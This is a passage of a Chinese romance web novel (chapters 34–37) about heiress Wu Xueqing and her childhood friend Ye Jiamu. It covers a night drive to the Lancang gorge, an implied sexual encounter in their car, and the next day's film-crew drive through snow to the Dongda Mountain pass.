电话那边老季总的声音一如既往的浑厚有辨识度,他道:“宝贝啊,回隅州了没有?” “没有。” “在哪里呢?” 邬雪青想了想,发现想不起现在待的这个地方叫什么了,笼统道:“到西藏了。” “怎么跑那玩去了,什么时候回家啊?” “下个月吧。”她说。 老季照例关心了一遍她的身体和住宿条件。 邬雪青搪塞完,随口问他:“怎么想起给我打电话了,有什么事?” “爸爸这不是想宝贝了吗!”老季说,“等你回来,我们父女俩要好好吃一顿饭,爸爸都多久没见你了!” 邬雪青“嗯嗯”两声敷衍完,总感觉怪怪的,便又问了他一遍,“真的没别的事了?” “还能有什么事?就是爸爸关心你了。”话说到这,老季声音顿了下,又沉沉笑两声,道,“宝贝啊,一个你的老同学来爸爸公司工作了,你猜猜是谁?” “猜不到,谁?” “和你可是高中同学,你好好想想。” 邬雪青打个哈欠,“男的女的?” “男孩子,个儿高,挺斯文的。”老季说。 邬雪青想不出来,又问:“姓什么啊?” “他这个姓不常见,你们要是认识啊,你肯定记得。” 个高、斯文,姓氏还不常见? 叶嘉木?不可能。 邬雪青皱着眉头想了好一会儿,隐隐约约想起一个名字,“魏煦?” “对了,你看,爸爸就说和你是老同学吧。” 邬雪青觉得莫名其妙,冷哂道:“这跟我有什么关系?他走后门进去的?” “调皮,好了,不多说了,玩够了就早点回来,老爸都想你了。” “嗯,挂了。” 邬雪青挂断了电话,拿开杂志,盯着天花板看,不知道为什么感觉心里空落落的。尽管已经习惯和家里简短的报备交流了,可时常还是有种踩不着地的空茫感。 比起和邬玉瑾女士见面就掐的母女关系,她和老季的相处更亲近一点。有一段暑假时间,她还在老季的庄园里住过。 同住一个屋檐下的还有一个略挺着肚子的女人,自称是管家,待邬雪青客客气气,挑不出任何刺。 她坐着,那女人就绝对只站着,毫不逾矩,在庄园内忙里忙外,从园林到家政,管得井井有条。 只要老季说要回来,不管多晚,她都守在客厅等老季到家,然后亲昵地接过他外套,轻言细语地询问着有没有喝酒,要不要喝点醒酒茶。 邬雪青又不是傻子,当然看得出那个女人和老季的关系非同一般。 从小到大,她见多了老季身边流水似的女人。 庄园里养一个大门不出二门不迈的金丝雀而已,大人都瞒着她,还自以为演技精湛,只不过是她懒得戳破。 但那个女人的确有点不太一样,老季对她格外上心,还专门陪她去了一趟香港旅行。 旅行回来后老季心情非常好,连着半个月每天回家,脸上总挂着笑。 不过有天那个女人突然就从庄园里消失了,换成了一个中年男人做管家。 邬雪青随口问了一句之前那个人呢。 新管家毕恭毕敬说已经离职了。 离职了。 有意思的说法。 庄园里的所有房间都对她开放,包括老季的书房。 她在老季书桌上看见了一份直接放在明面上的产前亲子鉴定报告,鉴定意见上明明白白写着:排除疑父季延山与胎儿之间存在生物学关系。 非常幽默。 她翻看着,也就哂笑了一下。 大人们没有和她说过,但她早就意识到了,老季或许没有再生育的能力了。 但老头年轻时候不认命,拼了命想播种,这些年修身养性起来了,身边的情人换得也没有从前频繁了,似乎是有点认命了。 所有人都羡慕她是掌上明珠,可他们这样的家庭怎么可能存在真正的亲情呢。 她不是因为爱出生的,是利益的结盟,自然得先有价值,才值得“被爱”。 她的存在给父母带去了不少好处,这些年老季总树立的爱女人设在商界已经根深蒂固,给他和集团都带去了不少隐性价值。 当然,宣传文里也没少鼓吹他有多爱妻,结婚数载依旧婚姻稳定云云,不过在圈子里这些东西都心照不宣,不如爱女人设更加深入人心。 毕竟尽管情人如流水,女儿可真真实实只有一个。 她还记得几年前祖母做大寿,连媒体都受邀报道,多年没有过联系的父母默契地挽着胳膊装起了伉俪情深,领着她演了一场一家三口温馨和睦的戏。 祖母还催促俩人该要个二胎了,两个从来不在一个屋檐下住的人也演技精湛地孝顺应下了。 寿宴一结束,俩人走出大门,各上各车,头也不回地离开。 非常幽默。 或许是阳台门没有关,有些冷了。 邬雪青打了个喷嚏,从纷飞的思绪中回过神。 她揉了揉鼻子,从软榻上坐起来。 想了想,她发了消息给叶嘉木:开完会了吗?我的药在你那里吗? 他没回消息,大概还在开会。 她起身,在屋子里转了一圈,没看见那个眼熟的装中药的包。 日色渐渐沉了下去,宽阔的套房安静得落针可闻。 静得让她没来由得心燥,烦闷。 她换了身厚一点的衣服,戴上一顶帽子,出了门。 路上撞见酒店经理,邬雪青问附近有没有可以散步的地方,经理建议她可以去庭院、小花圃或者酒店前的小道上走走,但不建议去后山峡谷。 她走出庭院,选了个方向,顺着来酒店的坡道一路向下走。 酒店位置也有些偏僻,一路走了有几百米,也没有遇到一个路人和一辆车。 陌生的地方,陌生的风景,陌生的气息。 风从四面八方吹来,她站在一处路口停了许久往两侧看,一边是看起来荒芜的枯地,另一边有些房子。 她往有房子的那边走了过去。 又走了一段距离,终于看到零星有些店铺和人气了。 在一家门口乱糟糟对着杂物的店铺外,她看到了一只抬着腿舔毛的小猫。 她走过去,小橘猫有些警惕地停止了舔毛的动作,抬头盯着她,见她没有再往前,它才继续扭头舔后背的毛。 她又往前走了几步,大概觉得她没有什么危险性,小猫没有再搭理她。 邬雪青蹲下身,缓缓伸手,见它没反应,才轻轻地摸了摸它的头。 小猫抬头闻了闻她的手,嗅到了香味,打了个喷嚏,不高兴地喵了一声,站直身抖了抖毛,扭头蹿进了杂物堆里。 她蹲在原地,保持着刚刚摸猫的动作望着小猫离开的方向,好一会儿才站起身。 天色已经完全黑了下来,路灯都亮了起来。 远处隐隐有喧闹声,她漫无目的,索性朝着有声音的地方走了过去。 走了不知道多远,在一家小酒店外,她看到许多人在一块跳广场舞。 音质不佳的音响放着老土的情歌,大人和小孩跳着藏舞,看起来都好开心。 一个跌跌撞撞还不太走得稳的小孩也跟着手舞足蹈,男人弯着腰朝小孩拍手,女人蹲在小孩身后扶着他的手带着他舞蹈。 他们看起来并不富有,穿着朴实无华,皮肤黝黑,衣服还有些脏兮兮的,可是好幸福啊。 没有缘由的,她忽然想家了。 但不是隅州,也不是美国的房子。 不知道站了多久,人群渐渐都散了。 她一动,才发现江风将她吹木了,身上冰凉。 她拿出手机看了下时间。 微信有几条消息,是叶嘉木回她:开完会了,药在我那儿,我给你拿过来 还有一条是半个小时前发的,他问:休息啦? 她正准备回复,手机一黑,跳出了一个漆黑的画面,没电了。 她叹口气,决定回去。 原路返回,可走了许久还没看到之前路过的那家杂物店时,邬雪青有点不太确定方向对不对了。 她站在原地,环顾周遭。 这儿店面都关门很早,街道上已经没有人了,只有不太亮的路灯照着她不太亮的前方。 第35章 她握着没电的手机又往前走了一段距离。 一辆车拐过弯,远光灯直直地打过来。邬雪青抬手挡了一下眼睛,感觉眼前强光变弱了,她眯了眯眼睛,从胳膊后探出眼睛,看见了熟悉的越野车向她驶近。 车停在她身侧,双闪灯亮了起来。 驾驶室的门响了一声,叶嘉木绕过车朝她走过来,灯光照耀下,他的表情绷得惊人,走到她面前,他脸上的冷色又消散了。 他的胸腔在剧烈起伏,好一会儿,他才看着她道:“怎么一个人到这来了?” 她抬头看着他,说:“随便出来走走。” “走挺远啊。”他眉眼动了一下,凝视着她,“为什么不接电话?” 邬雪青举起手机,很无辜,“没电了。” 叶嘉木拿过她手机看了下,的确死机黑屏了。 邬雪青纳罕地问他:“你怎么知道我在外面?” “酒店经理说你晚上出来了,问我你回来了没有。”他把邬雪青的手机揣进兜里,道,“如果不是别人告诉我,我连你什么时候出来,什么时候回去都不知道。昨天和你说的话都白说了。” “你不是在开会吗……” “那你至少也要给我发个消息留个言啊。” 邬雪青倔道:“我可没有和谁报备的习惯。” 他竖起了一根手指,“三个要求。第一个,以后我不在你身边,你去了哪里,必须要给我报备。别说你做不到,是你自己答应的。” 她轻咬住了嘴唇。 叶嘉木伸手摸了下她脸颊,摸到了一手冰凉。 她鼻头已经冻红了,灯光下,楚楚可怜。 他还想说的话都囫囵咽了回去,拉开了副驾驶车门,冷声道:“上车。” 上了车,他冷着脸打了把方向盘,倒车掉头往回开。 邬雪青趴在车窗往外看。 今夜的星空很好看,可惜有的人没心情看。 在回去的最后一个路口,他却没有往酒店方向去,而是去了她出来时没有选的另一条路。 车从平整的公路开上了村路,有些颠簸,摇摇晃晃的。 邬雪青抓住了扶手,疑惑问他:“这是去哪?” “看风景。”他说。 在听到激烈的水流声时,邬雪青意识到他应该把车开到澜沧江大峡谷来了。 不多久,车停在了江边,他停车,打开了天窗遮阳板。 全景的玻璃窗,抬头就能看到漫天的星星。 邬雪青看到他下了车,走到车后打开了后备箱。 她不明所以,也跟着拉开车门下车。 “外面风大,回车上去。”他说。 江边的确风大,将她头发吹得凌乱,邬雪青挽了下鬓发,用手挡着风问他:“你在找什么?” “烧水,给你热中药。”他说。 邬雪青瞪大眼睛,诡异地沉默了。 他找出了一个黑色的圆包打开,里面是一个炉子,他又将小罐燃气和炉子连接,放在石台上,拿了小烧水壶和一瓶矿泉水出来。 打火机一点,呲的一声,小炉子燃起了蓝色的火焰。 邬雪青伸手烤了烤,暖烘烘的。 他熟稔地架壶烧水,道:“还要等个几分钟。” 邬雪青很好奇,“这怎么热中药,把药包扔进去吗?” “嗯。” 她像个好奇的小孩,跟在他屁股后面,他干什么她都要凑上眼睛来瞧一瞧。 水开了。 他先拿出保温杯倒了半杯热水递给邬雪青,手往后一指,道:“回车上待着去。” “哦。” 江风的确吹得透心凉,她接过保温杯,上了后排位置,依旧扭着头从后窗玻璃看他。 远处是悬崖峭壁,夜幕下像张牙舞爪的怪兽。 江风将他的衬衫吹得鼓起,他打开烧水壶盖子,将中药包放进壶里,用筷子戳了戳,又将水壶拎开,熄了火,拆下燃气瓶,将炉子又收回了后备箱。 她捧着保温杯吹了吹,低低地抿了一口水,温热的水暖了冰冷的嘴唇,顺着喉咙滑进肚子里,喝了几口,四肢都暖了起来。 她心里那种又冷又空的感觉忽然消散了,取而代之的是温开水蒸腾起来的热气。 他抱着胳膊等着开水把她的中药煮热,两腿岔开,肩宽腰窄,微微低着头,像男模似的。 邬雪青不知道他这时候在想什么,但隐隐意识到他好像有点生她气了。 还怪她晚上出来没和他说吗? 她按下了车窗,风吹了她一脸,她眯了眯眼睛,趴在窗边喊了他一声:“叶嘉木!” 他没回头,只问:“怎么了?” 她握着保温杯往外递了一下,问他:“你要不要喝点热水?” “不用。” “好吧。” 过了会儿,他把热好的中药包夹出来摸了摸,已经有些烫手了。 他把剩下的热水倒进了江水里,收壶关后备箱,又拿剪刀把袋子剪了一个口子。 邬雪青感觉他的后备箱就是小叮当的百宝袋,什么都能从里面掏出来。 他拉开了后车门,将中药递进来,道:“喝药。” 邬雪青接过中药,眉头紧得要夹死苍蝇了。 看着她含着中药袋皱着眉头鼻子小口小口啜着,叶嘉木伸手在她脑袋顶上摸了一把,跟着上了后排,拉上门,关上了窗。 车里的那点暖气三两下已经被放跑了,他躬身钻向前排在副驾驶上扯过毯子,展开,盖在了邬雪青身上,随即也不管她愿不愿意,一把将她揽进了怀里。 “呜——” 邬雪青险些被中药呛到,扭头瞪他。 “别动,让我抱会儿。”他下巴枕在她头上,低声说,“一天天的往外瞎跑,我迟早要被你吓出心脏病来。” 她那满身的刺忽然软了下来,只是嘴上依然冷冰冰的,“怎么?怕我丢了,你回隅州被我爸妈宰了?” 已经习惯了她夹枪带棒的语气,叶嘉木没有搭腔,搂着她仰头看天窗外的夜空。 她喝完了一袋中药,把空包装举起来晃了晃。 叶嘉木接过包装袋扔进旁边的杂物匣内,搂着她的手又紧了紧。 他身上的凉气也慢慢焐热了。 邬雪青脑袋找了找位置,在他胸口找到个合适的地方,把他当人形靠垫枕着。 叶嘉木手臂圈在她腰上,抓住她的手指把玩着。 兀地,他放在手机架上的手机响了。 显示的来电人是一个广告模特的名字。 邬雪青手肘捣捣他,“找你的。” “不用管,他们晚上在搞烧烤。” “我们不回去吗?”邬雪青问。 叶嘉木问她:“你想吃烧烤吗?” 邬雪青摇头,她灌了一肚子药,再吃点别的就要呕出来了。 “那就晚点回去。”他说。 邬雪青依然仰着头看他。叶嘉木低头和她对视着,笑了一下,“我这么好看?” 她转开眼,“只是没见过这么不要脸的。” 车外江风怒嚎,江水涛涛,发黄的江水从峡谷之间滚滚向前。 前方已没有灯,只有夜色照出些山壁的影子。 抱了她许久,叶嘉木才开口道:“不知道为什么,我心里总是很慌,总感觉时间到了你就会离开我。” 邬雪青没说话。 他继续说:“所以现在在一起的每一刻我都很珍惜,我很怕等回到隅州,你又想和我划清界限了。” 邬雪青心说想得真远,我还没想那么远的事呢。 “你能说一次喜欢我吗?”他声音轻轻的。 ……好肉麻。 邬雪青抿唇不语。 “邬雪青,我们是同一天出生的,我们认识彼此25年了,在这个世界上,除了父母,我们就是最亲最喜欢彼此的人,就算你否认也没用。” 他的嗓音低低哑哑的,又低头亲了亲她嘴角。 一种麻麻的感觉从她心脏处铺开,难以形容那种感觉,比泡在温泉水里还叫人惬意。 有一瞬间,邬雪青有种错觉,仿佛他们不是在车上,而是置身江中船上。 世间的其他一切都和他们没关系,他们有且仅有彼此依靠在一起。 车内只有安静。 她态度瞧着冷冷的,对他的话,甚至亲吻都没有回应。 就像一座冷寂的冰山。 他明明该感到愉悦,终于他能正大光明地将她抱在怀里,可以吻她红润的唇。 可他的心却空空的。 她没有打算将心给他,她的世界依然紧紧闭着门,连一缕风也不透出来。 他想看她的表情,直起身,抄起她的腿弯,直接将她抱到了自己膝上。 邬雪青吓一跳,险些撞到头,她扶住他的肩膀坐稳,神色不悦:“干什么?” “从你嘴里听到一句半句真话怎么这么难?”他说。 邬雪青心跳得厉害,但脸上依然镇静,只有不虞,“这不简单,你换个人喜欢就行了。” 叶嘉木怒了,抬手就在她臀上裹了一巴掌。 她唰地坐直了身体,耳根倏地红了,“你干什么?” “巧了,我就喜欢你这种不爱说真话的,”他手臂一揽,就将她压在了自己身上,冷笑道,“我们比比,到底谁的嘴更硬。” 他裹着她的后脑勺往下一按就吻上了她的唇。 不是昨天蜻蜓点水的吻,今天的吻炽热,强势,长驱直入,裹上了她的舌尖,迫使她不得不回应。 “唔……” 她手指被他紧紧扣住,眼角沁出了泪,连腰也在发颤,却不舍得咬他,只是一味地想跑,却被他扣紧了脖颈,只能低头附和他的吻。 坐着的温度越来越滚烫,邬雪青只感觉浑身像烧了起来,腿软得不像话。 他的眼睛里也有两团熊熊燃烧的火,仿佛要烫进她灵魂里。 她闭上了眼睛,湿湿的眼泪浸湿了睫毛,她的附和越来越难以为继,只言片语从唇齿中溢出。 “叶……嘉木……” “我就是……讨厌你……” 第36章 滔滔不绝的江水声和朔朔的风声似乎都远了,恍惚中仿佛有烈火燃起,柴禾噼啪作响,红彤彤一片,烧得她看不清对方的面目,滚烫的汗粒从后背生起,密不透风,他紧贴她的手掌让她有种要被捂化的错觉。 “哈——” 殷红的唇分开,牵扯出的丝却暧昧至极。 他终于给她留出了片刻喘息的机会,邬雪青错开头,趴在他肩上重重换气呼吸,倒不过气,浑身没有一点力气,连胳膊也软成了两滩烂泥。 他的手掌裹在她身后一下一下给她顺着气,低低地笑着,像大赢了一场,得意又愉悦。 邬雪青想锤他、掐他,可胳膊根本提不上力气,热吻过后的身体酥软,他手指拂过她后背每一寸地方都如电流蹿过似的发麻。 笑过后,他长长地喟叹了一声,将她搂在怀里,鼻尖在她耳侧嗅闻着她的气息。 痒痒的,麻麻的,像小虫在往身体里钻似的,她的脑袋越埋越低,却也与他越搂越紧。 他们现在的姿势亲密得不能更亲密了。 她跨坐在他身上,已经没有一点支起身体的力气,明晃晃感觉到什么东西正紧挨着她。 她又不是小孩子了,当然清楚那是什么。 她心脏跳得乱七八糟,理智上觉得应该把他踹开,可身体却不想动弹。 她闻到了淡淡的薄荷叶味,应当是她挂在反光镜上的香包溢出的味道,但此刻她却从他颈侧闻到了这股味道。 想来他天天挨着她给他的香包,早就已经浸入味了。 她滚烫的鼻息打在他颈侧,暖热的上身紧挨着他的身体。 他是个正常的男人,自然会有正常男人的反应,想合上腿,但她坐在他身上,骤然并上双腿倒像是此地无银三百两。 进不能,退不能,束手无策,叶嘉木突然有了点作茧自缚的感觉。 她动了下身,似乎是想把他推开,叶嘉木浑身肌肉都绷住了,结实的胳膊圈紧了她,声音又哑又沉:“乖一点,别乱动。” 她好像不明所以,但还是听话的没动了。 “刚刚不还伶牙俐齿的,说什么讨厌我?怎么现在不吭声了?”他语气自然地玩笑,是想转移话题,顺带换个姿势,好掩饰身体的不自然。 邬雪青微微挺直了身,明显感觉他身体又一绷。 现在嘴硬的才是另有其人了吧。 她抬起头,声量很轻,但足够叶嘉木听清楚,她说:“你……了。” 他很意外,意外她语气的冷静也意外她不羞不恼的态度。 “对,我是个正常男人,”被她点破后,他倒是坦然起来了,手掌裹着她的腰,威胁似的问她,“你就不怕?” 她的声线有点飘忽的颤,不仔细听根本发觉不了,嗤笑一声,口吻依然带着她邬大小姐居高临下、嗤之以鼻的倨傲:“男欢女爱而已,有什么怕不怕的?” 不知从她浑不在意的话语品出了什么意味,叶嘉木咬紧的牙关陡然一涩,他一字一句反问:“哦?听起来你很有经验啊?” “正常生理需求而已,谁还没有……” 邬雪青虚张声势的演技已经入木三分,语气轻描淡写得仿佛在谈再寻常不过的家常便饭。 但凡叶嘉木有过一点恋爱经验就能从她细微的动作和反应里察觉出真假,可两个人加在一块也凑不出一段完整的恋爱经历,大脑顿时像被雷锤击了一下,又麻又痛。 他一把捂住她的嘴,阻止她再口无遮拦下去。 她竟然……竟然这么…… 叶嘉木只感觉心脏像被猝不及防的子弹打了一枪,热血喷涌而出,悲哀和怆然的剧烈痛感直涌心头,透了风,淌了一地碎玻璃渣子。 见他哑然,她掰开他的手,嘴依旧厉害,得意道:“没话说了吧,我还以为你多厉害呢。” “我 有多厉害……?” 叶嘉木的眼睛霎时就红了,他掐住了邬雪青的腰,骤然欺身,问她:“那这样……够吗?” 邬雪青低呼了一声,猛地搂住他的脖颈。 风声猎猎,峡谷内寂静无人。 停在江岸边的越野车漆黑沉默,若有人走过,约莫会好奇这车怎么好似在摇晃。 他偏执地禁锢住她的下颚,迫使她不得不和他对视,她晃得几乎坐不住,明明干着那样的事情…… 可他脸上却只有一片冰冷,眼睛里的阴鸷几乎要化成黑蛇缠住她,将她绞死在他怀里。 她本该感到恐惧,可心里却生出战栗的畅意,直至眼前蓦地一白。 空气安静下来,只有喘息声此起彼伏。 他的手掌落在她后脖颈上,感受得到她濡湿的热汗和皮肤在他手指下的轻轻战栗。 她搂他脖颈搂得很紧,此刻,她毫无防备地把自己挂在了他身上,像藤萝依附大树。 他的声音有些茫然,像是不确信,他低低地说:“你怎么可以,怎么可以……” 邬雪青还没缓过神,根本不知道他在叽里咕噜说什么,大腿紧绷得发疼,她一直在低低地吸气。 …… 回到酒店时,烧烤派对已经结束了。 庭院里已经被收拾干净,只空气中还有点若有若无的孜然味。 邬雪青两条腿软得没有一点力气,是被叶嘉木背回房间的。 前台值班的小姐姐瞧见了,不免关切地问这是怎么了。 叶嘉木面不改色地说喝多了。 这人现在说谎简直不打草稿了。 邬雪青脑袋埋在他肩膀下,鹌鹑一样,搭在他身上的手却颇有气势地掐了他一下。 避过工作人员的关心,叶嘉木把她背回了房间。 一倒在床上,邬雪青就扯过被子蒙住了脑袋装死。 他扯了扯她的被子,没扯动,叶嘉木哂笑道:“刚刚在车上不害羞,现在害羞了?” “出去。”她被子下的声音闷闷说。 他脸上表情一淡,随即冷笑:“用完就踹?邬雪青,没这么好的事,以后你在哪,我就在哪。” 邬雪青脑袋蒙在被子下,很有底气地道:“随便你!有本事你就一辈子挨着我,寸步不离!” 她听见房间里有走动声,又听见关门声。 出去了? 她掀开被子,大喘一口气。 这口气还没喘完就又憋回去了,只见叶嘉木就站在门后抱臂冷冷看着她。 她皮肤都红了,柔软的头发黏着皮肤,像刚从温泉水里捞出来,对上他的目光,惊惶的神色一闪而过,随即立马又鸵鸟似的钻进了被子下。 叶嘉木也不知道拿她怎么办,又气又想笑,肝疼。 直到听到浴室有水声,邬雪青才终于把头露出来。 他居然真的不走了…… 她犹豫了下待会要不要也洗个澡,身上都是热汗,怎么都应该要洗一下,可是…… 叶嘉木从浴室走出来时,只看见床上有一团鼓起来的包。他扯了下被子,这次倒是轻松扯开了,她换了一身严严实实的长袖长裤睡衣,侧躺着,呼吸均匀,已然睡着了。 感觉到身后带着皂香气息的凉爽气息靠近,邬雪青一动不敢动。 男人一把把她捞进了怀里,感觉到了她的僵硬,他像个打家劫舍、强抢民女的土匪,呼吸贴在她耳后,他冷冷说:“不习惯也尽快习惯,以后能睡在你旁边的男人不会有其他人了,做梦也没门。” 她在心里暗骂了一句土匪。 他关了灯,堂而皇之躺下了,不仅如此,还非要紧紧抓住她的手指十指相扣。 邬雪青背对着他,睫毛颤得快要变成蝴蝶飞走了。 不知道过去了多久,半个小时?一个小时?直到邬雪青感觉自己眼皮都快耷拉下去了,才听到他终于平缓的呼吸。 又等了等,感觉他真的睡着了,邬雪青轻轻喊他:“叶嘉木?” 没有回应。 她又喊了两次,确认他真的睡着了,她才轻轻把手指从他放松的手指中挣脱。 她下床,拿着早就备好的又一套睡衣蹑手蹑脚进了浴室。 直到她洗完澡回来,叶嘉木还在沉沉睡着。 她不确信地伸手在他脸上不轻不重地拍了一巴掌,竟然一点反应都没有。 这睡眠质量,啧。 邬雪青终于舒服地躺回了床上。 叶嘉木还保持着入睡时的姿势,面朝着她,手往前搭着,一动不带动的。 邬雪青往前凑了凑,仔细看他的脸。他鼻梁高挺,眉弓深邃,像他爸爸,下巴和嘴巴像他妈妈,不薄不厚,不宽不窄,组合在一起更是清俊秀朗。 她像幼儿园时睡不着,总要伸手去骚扰旁边的叶嘉木一样,伸手戳戳他鼻子,又戳戳嘴角。 他无知无觉。 邬雪青又往前凑了凑,轻轻地啄了下他嘴巴。 玩累了,她抓住他的手搭在自己腰上,又像八爪鱼似的缠住他的腿和身子。 这人是她的。 身体是她的。 心也是她的。 叶嘉木一贯睡得沉,醒得早,平常睡醒都是一身轻,今天却觉得手脚发沉。 他低头看去,微拧的眉目骤然一松。 小姑娘像个小蘑菇一样蜷缩在他怀里。 或许是这山里的夜晚有些冷,酒店的被子有些薄了,她下意识往暖和的地方钻。 想到她醒来后那张淬毒的小嘴必然是又要咬他一番的,叶嘉木轻叹口气,小心翼翼地换了个姿势,动了动有些发麻的四肢,然后轻轻地将她环进怀里。 没抵触,她脑袋动了动,无意识地往他身上钻。 他的一侧嘴角刚刚扬起,想起什么,又僵硬了下,冷冷地落了下去。 听见一阵阵的敲门声,在梦里时远时近,然后越来越真实,邬雪青动了动眉头,睁开了一点眼皮。 鼻端还是温热清爽的味道。 是叶嘉木身上的气息。 她嗅闻了两下,抬头往上看,对上了叶嘉木沉沉的目光。 “…………” 第37章 “醒了。” 他伸手在她脸颊上轻轻掐了一下。 邬雪青好像才回过神,瞬间往后一退,离他远远的。 “一醒来就翻脸不认人了,我会很伤心的。”他嗓音慵懒。 昨晚窗帘没有拉紧,斜斜漏进一半天光照在他脸上。 邬雪青目光从他脸上错开,眯着眼往窗外看了眼,转过身准备下床,若无其事地问:“今天是不是要出发了?” 叶嘉木挪过来,手掌一把将她抓进怀里搂住,“还早,不着急起。” 空气的凉意又迅速被他怀抱的温热驱散,邬雪青细长的手指搭在他手背上,只停留了两秒,她扒拉他手指,皱眉道:“松手,我要去洗手间。” 叶嘉木含含糊糊地抱了她好一会儿才放她去洗手间。 时间到了八点,过道上渐渐多了走动声,有人喊着:“红景天都喝了吗?还有谁没喝红景天吗?” 邬雪青正坐在露台上对着镜子画眉毛,听见房门响了一声,她扭头从窗口往里看一眼,只见叶嘉木手里拿着一个保温杯走进来。 见她正在化妆,他走上露台,弯下腰来看她脸颊。 “叶老板,你不用去忙吗?” 她没看他,拿起一只口红拧开瞧了下色号。 叶嘉木把保温杯放她面前,道:“不着急化妆,先把这个喝了。” “什么东西?”她低头看了眼,只看见一杯褐色的东西,顿生嫌弃,“又是中药?” “红景天。” 邬雪青昨天在饭桌上有听他们说起过这个,“预防高反的?这不是要提前几天喝吗?” “你前几天生理期,喝红景天不好,现在可以喝了。今天拍摄组要在东达山逗留,那儿海拔有五千多米,就当喝个心理安慰吧,你如果上了山难受,我就先带你去左贡县。” 她拿起杯子抿了一口,只觉得又苦又涩还一口 的粉末渣子,比她喝的中药还难喝,她立马把杯子推得远远的,“我不喝了,苦死了。” “乖,再喝两口。”他端着杯底哄着她。 邬雪青很狐疑:“这种东西你自己喝了吗?” “当然。” 邬雪青憋着气又喝了两口,眼泪都呛出来了,“太难喝了,我不喝了!” “好了好了。”他给她拍了拍后背,接过了杯子。 她抽了张纸擦了擦嘴。叶嘉木拿起了她的口红,道:“来,我给你涂。” 他倚坐在桌上,俯下身来将口红轻轻涂在她唇上。 邬雪青微抬着下巴,嘴唇嗫嚅,威胁道:“给我涂丑了,你就完蛋了。” 晨光落在她脸上,白皙的脸颊像一朵被雨打湿的山荷叶。 他嘴角扬着笑,温柔专注的目光停留在她唇上。 唇上麻麻痒痒的,他涂得仔细。 秋光好,流水缠绵。 邬雪青出神地看着他,一时忘了错眼。 “好了。”他将口红盖子盖回去,嘴角的笑带着痞气。 邬雪青后知后觉回过神,拿起镜子照了下,脑子顿时一嗡,他简直给她涂成了烈焰红唇! “叶嘉木!!” “这不好看吗?”他立马起身往屋里撤。 邬雪青抓起了口红,抓狂道:“你过来!我给你也涂成这样!” 他忍俊不禁,跑到了桌子后,盯着她说:“我觉得挺好看啊,真的。” 他还是没逃过,最后以邬雪青用口红在他嘴上涂了大小丑嘴巴为终。 吃过早餐,出发去距离如美镇不算远的东达山垭口。 昨日听他们说东达山是拍摄的第一站,如果拍摄顺利那么今天就能去左贡县休息,如果不大顺利,那就得在山上过夜了。 进藏后就有专门的向导开头车带路了,他们也从最开始的一台车到现在延长成一整个长长的车队,头车的重要性不言而喻。 邬雪青早上听叶嘉木和她说今天去东达山垭口还要翻过一座觉巴山,她还以为又会像天路十八弯一样,一个弯道接一个弯道,把人坐吐,没想到能有一条隧道直通过去。 进隧道前,叶嘉木指着一条支路说:“这条隧道去年才通,以前过觉巴山是要走山上那条盘山公路的。” 邬雪青抬头往山上看,看见了一条白色的线道沿着陡峭的山盘旋,低头是峡谷抬头是峭壁,惊险无比。 车开进了隧道里,光线暗了下来,前方曲折绵长的灯带仍清晰地指引着方向。 “那种山路很容易出事故吧。”邬雪青说。 “嗯,以前开老山路还能看到山谷里侧翻的小车残骸。” 她缩了缩肩膀,“真恐怖。” 叶嘉木道:“不过这条隧道我还是第一次来。” 还好还好,比走那种悬崖峭壁他说是第一次开要好。 说到这,她好奇道:“你开过这么久的车,没有出过什么事故吧?” “也有,爆胎抛锚……开的时间久了总会遇到问题的,不过都不是什么大问题。”他说。 他语气轻描淡写,邬雪青听着好像也就都不是什么严峻的大问题。 “一个人开车就这么有意思吗?”邬雪青不太能理解。 “方向盘握在自己手里,自然是比握在别人手里有意思的。” 她说一句,他便也回应一句。 见她若有所思的样子,叶嘉木带着笑问:“怎么?想学开车了?” 邬雪青撇撇嘴,“我家有司机。” 没拒绝,那就是点头了。 叶嘉木道:“你要是想学开车,我教你啊。” 她捏着脸颊思考,不予回答。 叶嘉木轻轻笑了一下。 出发时候邬雪青就看见前方几座大山上云缭雾绕,没想到从觉巴山隧道一出来就有淅淅沥沥的雨落在玻璃窗上。 “下雨了。”她惊奇地说。 “嗯,之前查过天气,东达山今天有雪。” 邬雪青有些震惊,“现在还没到十月,已经下雪了?” “山上海拔高,就算夏天也可能下雪的。” 对讲机里响起了前车向导的声音,“所有人注意,所有人注意,前方有雾,请打开雾灯,注意车速,弯道鸣笛。” 好神奇。 他们刚刚从如美镇出发时是大晴天,过完隧道就下雨了,此时向导说有雾,邬雪青还疑惑雾在哪里,只见车拐过一个弯,一团如凝结成实质的雾就在前方。 向导的车已经开进了雾里,只能看到车尾红灯在亮。 他们的车雨刮器和雾灯都已经打开,能听见前后车都开始鸣笛示意。 车一开进雾里能见度立刻只有眼前方寸大小了,怕影响叶嘉木专注力,邬雪青噤了声,惊奇地看着眼前的大雾。 “别怕,进山后出现这样的天气情况很正常。” 叶嘉木反应很平和,没什么紧张感,还有心思来安慰一下她。 从如美镇到东达山垭口这段路并不远,只有几十公里,但因着降雨和大雾的原因,整个车队的速度都放得很慢。 “大家注意大家注意,前方有事故,注意靠左行驶,避开事故车。”对讲机里的声音又响了起来。 路过那辆事故车时邬雪青多看了几眼。 是两辆小车追尾了,一辆车已经被撞出了车道,好几个人站在马路外面打电话,还有空抽支烟。 车继续往前开,在这样下着雨,雾气弥漫的天气竟然还有骑行的人沿着马路边缘奋力地踩着踏板。 这段路是上坡,因着天气不好,连汽车爬坡都极其小心翼翼。见车多,骑行者跳下了车,开始推着自行车往上走。 车外的一幕幕在她眼前像电影画面般掠了过去。 经过长长的坡道,前方的路又慢慢地阴了下来,再开一段天又缓缓地亮了。 邬雪青听到了车窗上淅淅索索的细微动静。 她起初以为是雨,直到看到一粒小雪粒在玻璃窗上弹跳了一下,滚着掉落。 “这是雪吗?”她惊讶问。 “现在是雨夹雪,再走一段路就能看见羽毛一样的大雪了。” 约莫快到垭口了,邬雪青看见了白茫茫的一片,一片片的雪花飘落在车前。 她按下了车窗,伸手出去接住了雪花。 冰冰凉凉的雪花很快融化在她温暖的手心上,她惊喜道:“真的是雪欸!” 隅州在南方,又沿海,几乎很少有大雪天,冬天潮且冷。 她的眼睛亮晶晶的,兴奋地给他看手心融化的水滴。 东达山的雪景他已经看过数次了,可这次他却觉得雪景之下,满是暖意。 满山遍野的雪,不及她眉目颦颦一笑。 向导指挥着车队在垭口处靠边停车,尽量不要阻碍后面的来车。 叶嘉木也靠边停了车,解开安全带,把后座的厚实羽绒服递给邬雪青:“把衣服穿上再下去。” 早上他说要多穿点衣服,邬雪青想着车里挺暖和的,也就意思意思加了一件衣服,他看见了倒也没说什么,原来早已经备好了羽绒服。 